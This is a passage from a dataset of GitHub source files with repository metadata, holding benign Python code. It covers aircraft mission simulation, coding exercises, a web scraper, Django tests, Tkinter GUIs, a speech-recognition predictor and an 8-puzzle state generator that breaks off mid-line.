initial altitude\n if alt0 is None:\n if not segment.state.initials: raise AttributeError('initial altitude not set')\n alt0 = -1.0 * segment.state.initials.conditions.frames.inertial.position_vector[-1,2]\n \n # pack conditions \n conditions.freestream.altitude[:,0] = alts[:,0] # positive altitude in this context \n \n # Update freestream to get density\n SUAVE.Methods.Missions.Segments.Common.Aerodynamics.update_atmosphere(segment)\n rho = conditions.freestream.density[:,0] \n \n # process velocity vector\n v_mag = np.sqrt(2*q/rho)\n v_x = v_mag * np.cos(climb_angle)\n v_z = -v_mag * np.sin(climb_angle)\n \n # pack conditions \n conditions.frames.inertial.velocity_vector[:,0] = v_x\n conditions.frames.inertial.velocity_vector[:,2] = v_z\n conditions.frames.inertial.position_vector[:,2] = -alts[:,0] # z points down\n conditions.propulsion.throttle[:,0] = throttle[:,0]\n conditions.frames.body.inertial_rotations[:,1] = theta[:,0] \n \n## @ingroup Methods-Missions-Segments-Climb\ndef residual_total_forces(segment):\n \"\"\"Takes the summation of forces and makes a residual from the accelerations and altitude.\n\n Assumptions:\n No higher order terms.\n\n Source:\n N/A\n\n Inputs:\n segment.state.conditions.frames.inertial.total_force_vector [Newtons]\n segment.state.conditions.frames.inertial.acceleration_vector [meter/second^2]\n segment.state.conditions.weights.total_mass [kilogram]\n segment.state.conditions.freestream.altitude [meter]\n\n Outputs:\n segment.state.residuals.forces [Unitless]\n\n Properties Used:\n N/A\n \"\"\" \n \n # Unpack results\n FT = segment.state.conditions.frames.inertial.total_force_vector\n a = segment.state.conditions.frames.inertial.acceleration_vector\n m = segment.state.conditions.weights.total_mass \n alt_in = segment.state.unknowns.altitudes[:,0] \n alt_out = segment.state.conditions.freestream.altitude[:,0] \n \n # Residual in X and Z, as well as a residual on the guess altitude\n segment.state.residuals.forces[:,0] = FT[:,0]/m[:,0] - a[:,0]\n segment.state.residuals.forces[:,1] = FT[:,2]/m[:,0] - a[:,2]\n segment.state.residuals.forces[:,2] = (alt_in - alt_out)/alt_out[-1]\n\n return","repo_name":"suavecode/SUAVE","sub_path":"trunk/SUAVE/Methods/Missions/Segments/Climb/Constant_Dynamic_Pressure_Constant_Angle.py","file_name":"Constant_Dynamic_Pressure_Constant_Angle.py","file_ext":"py","file_size_in_byte":4781,"program_lang":"python","lang":"en","doc_type":"code","stars":349,"dataset":"github-code","pt":"61"} +{"seq_id":"74232086275","text":"import random\n\"\"\"\nPrint a message to the console indicating whether each value of\n`number` is in the `my_randoms` list.\n\"\"\"\n\nmy_randoms = list()\nfor i in range(10):\n my_randoms.append(random.randrange(1, 6))\n \n# Print the my_randoms list\nprint(f'my_random {my_randoms}')\n\n# Generate a list of numbers 1..10\nnumbers_1_to_10 = range(1, 11)\n\n# Iterate from 1 to 10\nfor number in numbers_1_to_10:\n the_numbers_match = False\n\n # Iterate your random number list here\n for randomNumber in my_randoms:\n if randomNumber == number:\n the_numbers_match = True\n # the_numbers_match = True if randomNumber == number else False <--- or you can write it Ternary like this?\n \n # Does my_randoms contain number? Change the boolean.\n if the_numbers_match == True:\n print(f'{number} is in the random list')\n else: \n print(f'{number} is NOT in the random list')\n\n ","repo_name":"CPJackson777/Python-Lists","sub_path":"lists.py","file_name":"lists.py","file_ext":"py","file_size_in_byte":916,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"70451772676","text":"\"\"\"\n552. Student Attendance Record II\n\"\"\"\n\nclass Solution:\n def checkRecord(self, n: int) -> int:\n mod = 10 ** 9 + 7\n dp = [0] * ( 4 if n <= 3 else n+1 )\n\n # Set initial value.\n # We count from index 1, so set index[0] to 1\n # And caculate without A first.\n dp[0] = 1\n dp[1] = 2 # two choice \"P\" or \"L\"\n dp[2] = 4 # four choice \"PP\", \"LP\", \"LL\", \"PL\"\n dp[3] = 7 # Total 8 combinations minus \"LLL\"\n\n for i in range(4, n+1):\n dp[i] = (dp[i-1] + dp[i-1] - dp[i-4]) % mod\n\n # caculate possible with A.\n ret = dp[n]\n for i in range(1, n+1):\n ret = (ret + dp[i-1] * dp[n-i]) % mod\n return ret\n","repo_name":"dictator-x/practise_as","sub_path":"algorithm/leetCode/0552_student_attendance_record_II.py","file_name":"0552_student_attendance_record_II.py","file_ext":"py","file_size_in_byte":710,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"13980792393","text":"import requests\nfrom bs4 import BeautifulSoup\nfrom functools import reduce\n\nurl_list = {\n '2015':'https://pycon.jp/2015/ja/sponsors/',\n '2016':'https://pycon.jp/2016/ja/sponsors/',\n '2017':'https://pycon.jp/2017/ja/sponsors/'\n}\n\ndef scraping(url):\n res = requests.get(url)\n content = res.content\n soup = BeautifulSoup(content, 'html.parser')\n sponsors = soup.find_all('div', class_='sponsor-content')\n return { sponsor.h4.text for sponsor in sponsors}\n\ndef main():\n sponser_list = [ scraping(url) for url in url_list.values() ]\n\n print(reduce(lambda a, b: a&b, sponser_list))\n\nif __name__ == '__main__':\n main()","repo_name":"gomayumax/pycamp","sub_path":"scraping/simple.py","file_name":"simple.py","file_ext":"py","file_size_in_byte":644,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"43011643607","text":"import sys\nsys.dont_write_bytecode=True\n\nfrom options import *\n\nTHE = options(\n \"python smore.py\",\n \"\"\"\nSMORE: simple multi-objective rule engine \n(C) 2016,2017 Tim Menzies, George Mathews MIT, v2.\nThe stuff we can use is either simple, or not at all.\"\"\",\n \"\",\n all=[\n \"Misc options.\"\n ,h(\"disable all tests\", brave= False)\n ,h(\"found for flags\", rounding= 3)\n ,h(\"verbose level (0=silent)\", verbose= [0,1,2,3])\n ],\n sample=[\n \"Incrementally sample data.\"\n ,h(\"samples per column\", samples= 256)\n ,h(\"small effect (Cliff's delta)\", smallEffect= [0.147, 0.33, 0.474][0])\n ],\n num=[\n \"Numeric samples.\"\n ,h(\"never normalize\", noNorms= False)\n ],\n sym=[\n \"Samples of symbols.\"\n ,h(\"bayesian k\", k= 1)\n ,h(\"bayesian m\", m= 2)\n ],\n groups=[\n \"Groupings of distance\"\n ,h(\"distance power\", f = 2)\n ,h(\"distance columns\", cols = [\"objs\",\"decs\"])\n ,h(\"cull factor\", cull = 0.5)\n ,h(\"smallest group size\", minGroup = 30)\n ,h(\"split redos\", splitRedo = 20) \n ,h(\"split bigger\", splitBigger= 0.1) \n ]\n)\n","repo_name":"ttv1/smore","sub_path":"config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":1146,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"30811449958","text":"# https://github.com/carolinedunn/AIY_Kit-LED-Servo/blob/master/servo.py\n\nfrom gpiozero import Servo\nfrom time import sleep\nimport RPi.GPIO as GPIO\n# servo1 = Servo(6)\n\nGPIO.setmode(GPIO.BCM)\n\nservo2 = Servo(26)\nservo3 = Servo(6)\n\ndef wave():\n print('I am waving at you.')\n # servo1.mid()\n servo2.value = 1\n servo3.value = 1\n\nwave()","repo_name":"michalburdzy/python_face_detection_playground","sub_path":"servo.py","file_name":"servo.py","file_ext":"py","file_size_in_byte":344,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"15408905254","text":"from timeit import default_timer as timer\n\ndef permute(k,a,lst):\n if k == 1:\n lst.append(a[:])\n\n else:\n permute(k-1,a,lst)\n for i in range(k-1):\n if k % 2 == 0:\n a[i], a[k-1] = a[k-1], a[i]\n else:\n a[0], a[k-1] = a[k-1], a[0]\n permute(k-1,a,lst)\n \nstart = timer()\nv = [0,1,2,3,4,5,6,7,8,9]\n# k must equal total len of v\nx = []\npermute(10,v,x)\nx.sort()\nend = timer()\nprint(x[999999])\nprint(\"Time taken:\", end-start, \"s\")","repo_name":"eugene-prout/Project-Euler","sub_path":"p24.py","file_name":"p24.py","file_ext":"py","file_size_in_byte":512,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"29159824862","text":"from django.test import TestCase, Client\nfrom django.urls import reverse\nfrom appli.models import *\nimport inspect\nfrom django.http import JsonResponse\nfrom django.template.loader import render_to_string\n\nclass TestViews(TestCase):\n \n def create(self, title=\"only a test\", body=\"yes, this is only a test\"):\n return Category.objects.create(title=title, body=body)\n \n def test_view_index(self):\n w = self.create()\n client = Client()\n response = client.get(reverse('index'))\n self.assertEquals(response.status_code, 200)\n self.assertNotIn(w.title, response.content)\n\n def test_view_index(self):\n client = Client()\n response = client.get(reverse('catalogue'))\n self.assertEquals(response.status_code, 200)\n \n\n\nclass FilterDataViewTest(TestCase):\n def setUp(self):\n # Set up any necessary data for the test\n self.url = reverse('filter_data') \n\n def test_filter_data_view_returns_json_response(self):\n # Issue a GET request to the view\n response = self.client.get(self.url)\n\n # Assert that the response is a JsonResponse\n self.assertIsInstance(response, JsonResponse)\n\n def test_filter_data_view_returns_expected_data(self):\n # Set up query parameters for the request\n params = {\n \n 'maxPrice': \"100.00\",\n 'categorie_list[\"homme\"]': [],\n 'gender_list[]': [],\n 'size_standard[]': [],\n 'size_pants[\"32\"]': [],\n 'size_shoes[]': [],\n \n }\n\n # Issue a GET request to the view with query parameters\n response = self.client.get(self.url, params)\n\n # Assert that the response contains the expected data\n max_price = float(params['maxPrice'])\n expected_queryset = Product.objects.filter(product_price__lte=max_price)\n \n # Render the expected queryset to a string\n expected_data = {'data': render_to_string('appli/ajax-product-list.html', {'data': expected_queryset})}\n\n # Assert that the response contains the expected data\n self.assertDictEqual(response.json(), expected_data)\n","repo_name":"zorglob21/Projet-bloc-3","sub_path":"appli/tests/test_views.py","file_name":"test_views.py","file_ext":"py","file_size_in_byte":2167,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"21751123761","text":"import asyncio\nfrom datetime import datetime\nfrom gui import driver_name_entry, date_end_entry, \\\n date_start_entry, combobox, screenshot_data, create_main_window, window, \\\n car_number_entry\nfrom database import insert_data_into_db\n\ncreate_main_window()\n\n\nasync def add_data_in_db():\n car_number_str = str(car_number_entry.get()).strip()\n driver_name = str(driver_name_entry.get()).strip()\n date_start_str = str(date_start_entry.get()).strip()\n date_end_str = str(date_end_entry.get()).strip()\n\n # convert datetime\n date_start = datetime.strptime(date_start_str, '%d.%m.%Y').date()\n date_end = datetime.strptime(date_end_str, '%d.%m.%Y').date()\n\n # remove space bars in car number\n letter_counter = 0\n for i in car_number_str:\n if i.isalpha() or i.isnumeric():\n letter_counter += 1\n\n if letter_counter <= 9:\n car_number_str = car_number_str.replace(' ', '').upper()\n else:\n car_number_str.strip().upper()\n\n car_number = car_number_str\n\n trans_name = combobox.get()\n if trans_name == 'Перевозчик':\n trans_name = None\n\n screenshot = screenshot_data.get()\n\n await insert_data_into_db(car_number, driver_name, date_start, date_end,\n trans_name, screenshot)\n\n\ndef add_button_click():\n asyncio.run(add_data_in_db())\n\n\nwindow.mainloop()\n","repo_name":"bazuly/TeleBot_Gui_Grando","sub_path":"grando_gui/main_ui.py","file_name":"main_ui.py","file_ext":"py","file_size_in_byte":1369,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"14226182323","text":"#grid layout\n#import tkinter\nfrom tkinter import * \ntop=Tk()\n# layout mangement\n#1.pack\n#2.place\n#3.grid\n\ntop.title(\"labells of window\")\nl1=Label(top,text=\"Harshit\",fg=\"red\",bg=\"yellow\")\n# padding margin from x and y \nl1.grid(row =0,column=1)\nl2=Label(top,text=\"Taneja\",fg=\"white\",bg=\"blue\")\nl2.grid(row =0 ,column =0)\n# stuck in infinte loop\nl3=Label(top,text=\"hello\",fg=\"white\",bg=\"blue\")\n# note we can't use pack as well as grid combine in a code l3.pack(side=RIGHT)\nl1.mainloop()\n","repo_name":"harshittaneja090/mywork.github.io","sub_path":"python/gui/tkinter/code 6.py","file_name":"code 6.py","file_ext":"py","file_size_in_byte":484,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"71335740994","text":"\n\nimport sys\n\nread = lambda: sys.stdin.readline().rstrip()\n\nn = int(read())\n\ndp = [0, 1, 3]\n\nfor i in range(3, n+1):\n dp.append((dp[i-1]) + ((dp[i-2]) * 2))\n\nprint(dp[n] % 10007)\n\n\n","repo_name":"kokoko12334/TIL2","sub_path":"baekjoon/11727.py","file_name":"11727.py","file_ext":"py","file_size_in_byte":184,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"71722869314","text":"from cloudcity.errors import MissingMandatoryOptions, CloudCityError, BadOptionFormat\nfrom cloudcity.configurations import ConfigurationResolver, ConfigurationFinder\nfrom cloudcity.resolution.resolver import StackResolver\nfrom cloudcity.layers import Layers\n\nfrom option_merge import MergedOptions\nfrom collections import defaultdict\n\nimport logging\n\nlog = logging.getLogger(\"Bootstrap\")\n\nclass BootStrapper(object):\n \"\"\"Knows how to bootstrap our configuration\"\"\"\n\n def find_configurations(self, configs, forced_options):\n \"\"\"Find all the configurations from disk and return as a MergedOptions\"\"\"\n finder = ConfigurationFinder(configs)\n resolved = ConfigurationResolver(finder, forced_options).resolved()\n\n # Make sure we have all the mandatory options\n not_present = []\n for option in resolved[\"global\"].get(\"mandatory_options\", []):\n if not resolved.get(option):\n not_present.append(option)\n\n if not_present:\n raise MissingMandatoryOptions(missing=not_present)\n\n return resolved\n\n def get_layers(self, options, target):\n \"\"\"Find us the layers and in the order we want to deploy them given a target stack\"\"\"\n if target not in options:\n raise CloudCityError(\"Missing stack\", available=options.keys(), wanted=target)\n\n resolver = StackResolver()\n resolver.register_defaults()\n\n stacks = {name:resolver.resolve(name, options[name]) for name in options}\n self.investigate_required_keys(stacks)\n\n layers = Layers(stacks)\n layers.add_to_layers(target)\n\n return layers\n\n def investigate_required_keys(self, stacks):\n \"\"\"Make sure all the formatted keys format to keys that will be available\"\"\"\n not_found = []\n dependencies = defaultdict(set)\n\n for name, stack in stacks.items():\n for needing, requiring in stack.find_required_keys():\n for required in requiring:\n stack_name, required_key = required.split(\".\", 1)\n if not stacks[stack_name].check_option_availablity(required_key):\n not_found.append([name, needing, required])\n else:\n dependencies[name].add(stack_name)\n\n if not_found:\n for name, needing, required in not_found:\n log.error(\"The '%s' key in the '%s' stack requires the %s key\", needing, name, required)\n raise BadOptionFormat(\"Missing required keys\", missing=len(not_found))\n\n for name, required in dependencies.items():\n stacks[name].add_dependencies(list(required))\n\n","repo_name":"delfick/cloudcity","sub_path":"cloudcity/bootstrap.py","file_name":"bootstrap.py","file_ext":"py","file_size_in_byte":2677,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"10483692800","text":"import data.utils as U\nimport constants as C\n\nimport numpy as np\nimport torch\nimport torch.nn as nn\nfrom torch.autograd import Variable\nimport itertools\nfrom data.language import Lang\nfrom data.dataloader import SpeechDataLoader\nfrom data.dataset import SpeechDataset\nimport pdb\n\nfrom models.encoder import EncoderRNN\nfrom models.decoder import DecoderRNN\nfrom models.las import LAS\n\nfrom loss.loss import CrossEntropyLoss3D\n\nimport sys\n\nclass Predictor:\n def __init__(self, model, lang, criterion):\n super(Predictor, self).__init__()\n self.model = model\n self.lang = lang\n self.criterion = criterion\n self.num_random_samples = 100\n\n\n def dump_target_sequences(self, sequences, lengths, outFile, step):\n batch_size = len(lengths)\n \n for i in range(batch_size):\n length = lengths[i]\n \n tgt_id_seq = [sequences[di,i].item() for di in range(length)]\n\n tgt_seq = self.lang.indices2items(tgt_id_seq)\n outFile.write(\"%d,%s\\n\" % (step, ''.join(tgt_seq)))\n step += 1\n\n return step\n\n\n def predict(self, test_dataloader, outFile):\n self.model.eval()\n step = 0\n num_batches = len(test_dataloader.dataloader)\n outFile.write(\"Id,Predicted\\n\")\n\n for (batch_idx, data) in enumerate(test_dataloader.dataloader):\n input_variables, input_lengths, target_variables, target_lengths = data\n\n input_variables = U.var(torch.from_numpy(input_variables).float())\n target_variables = U.var(torch.from_numpy(target_variables).long())\n\n input_variables = input_variables.transpose(0,1)\n target_variables = target_variables.transpose(0,1)\n # T X O\n\n batch_size = target_variables.size(1)\n max_len = self.model.decoder.max_len\n #print(max_len)\n\n target_sequence_min_loss = [float('inf')] * batch_size\n target_sequences_final = U.var(torch.zeros(max_len, batch_size))\n target_lengths_final = [0] * batch_size\n\n for r in range(self.num_random_samples):\n self.model.teacher_forcing_ratio = 0.0\n decoder_outputs, ret_dict = self.model(input_variables, input_lengths, target_variables)\n # T X B X O\n\n target_lengths = ret_dict['length']\n target_sequences = torch.stack(ret_dict['sequence'])\n # T X B X 1\n target_sequences = target_sequences.squeeze(2)\n \n self.model.teacher_forcing_ratio = 1.0\n decoder_outputs, ret_dict = self.model(input_variables, input_lengths, target_sequences)\n \n acc_loss = self.criterion(decoder_outputs.contiguous(), target_sequences[1:,:].contiguous())\n acc_loss = acc_loss.view(target_sequences.size(0)-1, target_sequences.size(1))\n acc_loss = acc_loss.sum(0)/target_sequences.size(1)\n \n for b in range(batch_size):\n if acc_loss[b] < target_sequence_min_loss[b]:\n target_sequences_final[:,b] = target_sequences[:,b]\n target_lengths_final[b] = target_lengths[b]\n\n\n step = self.dump_target_sequences(target_sequences_final, target_lengths, outFile, step)\n\n print(\"%d %d Batch Prediction Completed\" % (batch_idx, step))\n\n outFile.close()\n\n\ndef _test(run):\n U.set_random_seeds(11785)\n\n lang = Lang()\n trans = U.tokenizeTranscripts('train')\n lang.init_lang(trans)\n output_size = lang.num_items\n\n batch_size = 1\n print(\"Starting .. ..\")\n\n num_layers = 3\n hidden_size = 256\n\n input_size = 40\n key_size = 128\n value_size = 128\n bidirectional = True\n p = 3\n\n embedding_size = 128\n max_len = 496\n\n encoder = EncoderRNN(input_size, hidden_size, key_size, value_size, num_layers, bidirectional, p)\n decoder = DecoderRNN(output_size, embedding_size, hidden_size, key_size, value_size, num_layers, max_len)\n\n teacher_forcing_ratio = 1.0\n las = LAS(encoder, decoder, teacher_forcing_ratio)\n\n model = torch.load('../saved_models/'+run+'-model.pt', map_location=lambda storage, loc: storage)\n las.load_state_dict(model.state_dict())\n\n if U.use_cuda():\n las = las.cuda()\n\n # Prediction\n\n test_dataset = SpeechDataset(lang, 'test')\n test_dataloader = SpeechDataLoader(test_dataset, batch_size=batch_size, shuffle=False)\n\n criterion = CrossEntropyLoss3D(reduce=False, ignore_index=C.PAD_TOKEN_IDX)\n predictor = Predictor(las, lang, criterion)\n \n outFile = open('../predictions-'+run+'.txt', 'w')\n predictor.predict(test_dataloader, outFile)\n\n\nif __name__ == \"__main__\":\n run = sys.argv[1]\n print(run)\n _test(run)\n\n\n","repo_name":"rchanda/deep-learning","sub_path":"HW4/src/evaluator/predictor.py","file_name":"predictor.py","file_ext":"py","file_size_in_byte":4851,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"719095085","text":"from fastapi import HTTPException, status\r\nfrom sqlalchemy.orm import Session\r\n\r\nfrom models import reportesHisModel\r\nfrom schemas import rprsHistSchema\r\n\r\n\r\ndef listar_reportes(db: Session):\r\n reportes = db.query(reportesHisModel.RprsHistCompleto).all()\r\n\r\n return reportes\r\n\r\n\r\ndef bucar_rprt_tipo(descripcio: str, db: Session):\r\n reporte_tipo = db.query(reportesHisModel.RprsHistCompleto).filter(\r\n reportesHisModel.RprsHistCompleto.DESCRIPCIO == descripcio).all()\r\n if not reporte_tipo:\r\n raise HTTPException(status_code=status.HTTP_404_NOT_FOUND,\r\n detail=f\"El tipo de delito {descripcio} no se encontro\")\r\n lista_acumuladora = []\r\n\r\n for elemento in reporte_tipo:\r\n items = []\r\n items.append(elemento.FECHA)\r\n items.append(elemento.DESCRIPCIO)\r\n items.append(elemento.CONDUCTA)\r\n items.append(elemento.CLASIFICAC)\r\n items.append(elemento.EDAD)\r\n items.append(elemento.GENERO)\r\n items.append(elemento.CURSO_DE_V)\r\n items.append(elemento.ESTADO_CIV)\r\n items.append(elemento.MOVIL_AGRE)\r\n items.append(elemento.MOVIL_VICT)\r\n items.append(elemento.ARMAS_MEDI)\r\n items.append(elemento.ZONA)\r\n items.append(elemento.BARRIOS_HE)\r\n items.append(elemento.COMUNA)\r\n items.append(elemento.LATITUD)\r\n items.append(elemento.LONGITUD)\r\n lista_acumuladora.append(items)\r\n\r\n respuesta = {\r\n \"fields\": [\r\n {\"name\": \"FECHA\", \"format\": \"YYYY-M-D\", \"type\": \"date\"},\r\n {\"name\": \"DESCRIPCIO\", \"format\": \"\", \"type\": \"string\"},\r\n {\"name\": \"CONDUCTA\", \"format\": \"\", \"type\": \"string\"},\r\n {\"name\": \"CLASIFICAC\", \"format\": \"\", \"type\": \"string\"},\r\n {\"name\": \"EDAD\", \"format\": \"\", \"type\": \"integer\"},\r\n {\"name\": \"GENERO\", \"format\": \"\", \"type\": \"string\"},\r\n {\"name\": \"CURSO_DE_V\", \"format\": \"\", \"type\": \"string\"},\r\n {\"name\": \"ESTADO_CIV\", \"format\": \"\", \"type\": \"string\"},\r\n {\"name\": \"MOVIL_AGRE\", \"format\": \"\", \"type\": \"string\"},\r\n {\"name\": \"MOVIL_VICT\", \"format\": \"\", \"type\": \"string\"},\r\n {\"name\": \"ARMAS_MEDI\", \"format\": \"\", \"type\": \"string\"},\r\n {\"name\": \"ZONA\", \"format\": \"\", \"type\": \"string\"},\r\n {\"name\": \"BARRIOS_HE\", \"format\": \"\", \"type\": \"string\"},\r\n {\"name\": \"COMUNA\", \"format\": \"\", \"type\": \"string\"},\r\n {\"name\": \"latitude\", \"format\": \"\", \"type\": \"real\"},\r\n {\"name\": \"longitude\", \"format\": \"\", \"type\": \"real\"}\r\n ],\r\n \"rows\": lista_acumuladora}\r\n return respuesta\r\n\r\n\r\ndef crear_reportes(request: rprsHistSchema.RprsHistCompleto, db: Session):\r\n nuevo_reporte = reportesHisModel.RprsHistCompleto(FECHA=request.FECHA,\r\n DESCRIPCIO=request.DESCRIPCIO,\r\n CONDUCTA=request.CONDUCTA,\r\n CLASIFICAC=request.CLASIFICAC,\r\n EDAD=request.EDAD,\r\n GENERO=request.GENERO,\r\n CURSO_DE_V=request.CURSO_DE_V,\r\n ESTADO_CIV=request.ESTADO_CIV,\r\n MOVIL_AGRE=request.MOVIL_AGRE,\r\n MOVIL_VICT=request.MOVIL_VICT,\r\n ARMAS_MEDI=request.ARMAS_MEDI,\r\n ZONA=request.ZONA,\r\n BARRIOS_HE=request.BARRIOS_HE,\r\n COMUNA=request.COMUNA,\r\n LATITUD=request.LATITUD,\r\n LONGITUD=request.LONGITUD\r\n )\r\n db.add(nuevo_reporte)\r\n db.commit()\r\n db.refresh(nuevo_reporte)\r\n return nuevo_reporte\r\n\r\n\r\ndef modificar(_id: int, request: rprsHistSchema.RprsHistCompleto, db: Session):\r\n reporte_actualizado = db.query(reportesHisModel.RprsHistCompleto).filter(\r\n reportesHisModel.RprsHistCompleto.id == _id).first()\r\n if not reporte_actualizado:\r\n raise HTTPException(status_code=status.HTTP_404_NOT_FOUND,\r\n detail=f\"El reporte con id {_id} no esta disponible\")\r\n\r\n reporte_actualizado.FECHA = request.FECHA\r\n reporte_actualizado.DESCRIPCIO = request.DESCRIPCIO\r\n reporte_actualizado.CONDUCTA = request.CONDUCTA\r\n reporte_actualizado.CLASIFICAC = request.CLASIFICAC\r\n reporte_actualizado.EDAD = request.EDAD\r\n reporte_actualizado.GENERO = request.GENERO\r\n reporte_actualizado.CURSO_DE_V = request.CURSO_DE_V\r\n reporte_actualizado.ESTADO_CIV = request.ESTADO_CIV\r\n reporte_actualizado.MOVIL_AGRE = request.MOVIL_AGRE\r\n reporte_actualizado.MOVIL_VICT = request.MOVIL_VICT\r\n reporte_actualizado.ARMAS_MEDI = request.ARMAS_MEDI\r\n reporte_actualizado.ZONA = request.ZONA\r\n reporte_actualizado.BARRIOS_HE = request.BARRIOS_HE\r\n reporte_actualizado.COMUNA = request.COMUNA\r\n reporte_actualizado.LATITUD = request.LATITUD\r\n reporte_actualizado.LONGITUD = request.LONGITUD\r\n db.commit()\r\n db.refresh(reporte_actualizado)\r\n return reporte_actualizado\r\n\r\n\r\ndef eliminar_reporte(_id: int, db: Session):\r\n reporte = db.query(reportesHisModel.RprsHistCompleto).filter(reportesHisModel.RprsHistCompleto.id == _id).first()\r\n if not reporte:\r\n raise HTTPException(status_code=status.HTTP_404_NOT_FOUND,\r\n detail=f\"El reporte con id {_id} no esta disponible\")\r\n else:\r\n reporte.delete(synchronize_session=False)\r\n db.commit()\r\n return 'eliminado'\r\n","repo_name":"Oficina-TIC-BGA/App_vio_gen","sub_path":"back-end/repository/rprsHistCompletoRepository.py","file_name":"rprsHistCompletoRepository.py","file_ext":"py","file_size_in_byte":6118,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"23447120341","text":"import sys\nfrom bisect import bisect\nf=open(\"input\" if len(sys.argv)<2 else sys.argv[1])\nT=int(f.readline())\n\n\ndef best(A): \n \n rtn = 0 \n while A:\n #print(\"A=\", A)\n #print(list((a,i) for i,a in enumerate(A)))\n a,i = min((a,i) for i,a in enumerate(A))\n #print((a,i))\n right = len(A)-1\n if i <= right -i:\n rtn += i\n else:\n rtn += right - i\n A = A[:i]+A[i+1:]\n return rtn\n \n\n\nfor t in range(1, T+1):\n N = int(f.readline())\n A = list(map(int, f.readline().split()))\n \n #print(t, N, X, S)\n print(\"Case #%d: %d\"%(t, best(A)))\n","repo_name":"dr-dos-ok/Code_Jam_Webscraper","sub_path":"solutions_python/Problem_149/31.py","file_name":"31.py","file_ext":"py","file_size_in_byte":642,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"4497105993","text":"# Method 1\ndef meeting(s):\n return ''.join(sorted('({1}, {0})'.format(*(x.split(':'))) for x in s.upper().split(';')))\nprint(meeting(\"Fred:Corwill;Wilfred:Corwill;Barney:Tornbull;Betty:Tornbull;Bjon:Tornbull;Raphael:Corwill;Alfred:Corwill\"))\n\n# Method 2\ndef meeting1(s):\n\n s = s.upper()\n s = s.split(';')\n array = []\n string = \"\"\n\n for i in s:\n i = i.split(':')\n string = '('+i[1]+', '+i[0]+')'\n array.append(string)\n \n array.sort()\n output = \"\"\n \n for j in array:\n output += j\n \n return output\nprint(meeting1(\"Fred:Corwill;Wilfred:Corwill;Barney:Tornbull;Betty:Tornbull;Bjon:Tornbull;Raphael:Corwill;Alfred:Corwill\"))","repo_name":"shubham2704/competetive_coding","sub_path":"codewars/meeting.py","file_name":"meeting.py","file_ext":"py","file_size_in_byte":685,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"61"} +{"seq_id":"9667619488","text":"#!/usr/bin/python\n\nimport sys\nimport getopt\nimport geo_ip_lookup\nimport rdap_lookup\nimport file_reader\n\nVERSION = \"0.0.1\"\nFACTOR = 1\nUSAGE = \"\"\"\nLookupsCLI is a tool to run ip lookups\nUsing a sample of 50 since the endpoint only allows a certain amount of request\n-g # Performs a RDAP lookup on the list_of_ips\n-r # Performs a Geo IP lookup on the list_of_ips \n\n\"\"\"\n\n\ndef entrypoint():\n options, arguments = getopt.getopt(sys.argv[1:], \"vhgr\", [\"version\", \"help\", \"geo\", \"rdap\"])\n separator = \"\\n\"\n\n list_of_ips = file_reader.fetch_ips()\n for o, a in options:\n if o in (\"-g\", \"--geo\"):\n print(geo_ip_lookup.perform_geo_ip_lookup(list_of_ips, 5 * FACTOR))\n if o in (\"-r\", \"--rdap\"):\n print(rdap_lookup.perform_rdap_lookup(list_of_ips, 5 * FACTOR))\n if o in (\"-v\", \"--version\"):\n print(VERSION)\n sys.exit()\n if o in (\"-h\", \"--help\"):\n print(USAGE)\n sys.exit()\n if o in (\"-s\", \"--separator\"):\n separator = a\n if not arguments or len(arguments) > 3:\n raise SystemExit(USAGE)\n try:\n operands = [int(arg) for arg in arguments]\n except ValueError:\n raise SystemExit(USAGE)\n return separator, operands\n\n\nif __name__ == \"__main__\":\n entrypoint()\n","repo_name":"cristopherchacon/lookupcli","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1314,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"41372182756","text":"from actions import make_child_node, path, path_to_goal\nfrom algorithms import bfs, ucs, dls, ids, gbfs, a_star\nfrom structures import Node, NodeFCost, NodeGCost, Board\nfrom collections import deque\nimport sys\nimport json\nimport pprint\nimport time\nimport random\nimport matplotlib.pyplot as plt\n\ndef unleash_chaos(goal_state):\n #goal_state = [1,0,8,2,7,3,4,6,5]\n board = Board(3)\n \n print(f\"Generating random states from\\nGoal: {goal_state}\\nBoard Size: 3x3\")\n \n node = Node(goal_state, goal_state, None, None, 0, 0)\n frontier = deque([node])\n depth = 0\n explored = set()\n \n entry = {}\n \n for x in range(1, 21, 1):\n entry[x] = []\n \n while frontier:\n _node = frontier.popleft()\n explored.add(_node)\n \n children = make_child_node(_node, _node.goal, board)\n \n for child in children:\n if child.depth > 20:\n break \n if child.str_state not in explored:\n explored.add(child.str_state)\n frontier.append(child)\n depth = child.depth\n \n if child.str_state != child.goal_str:\n entry[child.depth].append(child.state)\n \n #print(f\"Depth: {depth}\")\n \n #print(entry)\n print(\"Unique states generated for all depth 1 to 20!\")\n for depth, item in entry.items():\n x = random.randrange(0, len(item), 1)\n new = item[x]\n entry[depth] = new\n print(\"Picking a random state for each depth..\")\n \n for depth, item in entry.items():\n if depth < 10:\n print(f\"Depth #{depth} -> 